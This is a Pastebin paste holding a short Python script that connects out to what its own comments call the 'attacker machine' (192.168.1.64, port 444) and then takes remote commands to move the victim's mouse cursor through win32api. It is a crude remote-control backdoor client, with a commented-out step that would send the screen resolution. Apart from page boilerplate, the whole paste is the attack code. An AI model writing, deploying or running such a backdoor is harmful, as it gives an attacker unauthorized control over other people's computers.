Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # imports here
- import socket,subprocess
- import win32api
- HOST = '192.168.1.64' # The remote host
- PORT = 444 # The same port as used by the server
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- # connect to attacker machine
- s.connect((HOST, PORT))
- # send we are connected
- s.send(("Connection Established!").encode('utf-8'))
- #skicka skärmupplösing
- """s.send((str(win32api.GetSystemMetrics(0))).encode('utf-8'))
- print(1)
- s.send((str(win32api.GetSystemMetrics(1))).encode('utf-8'))
- print(1)"""
- # start loop
- while True:
- xypos = s.recv(1024).decode('utf-8')
- print (xypos)
- xpos = int(list(xypos)[1])
- ypos = int(list(xypos)[2])
- try:
- win32api.SetCursorPos((xpos,ypos))
- except:
- pass
- print(1)
- # close socket
- s.close()
Add Comment
Please, Sign In to add comment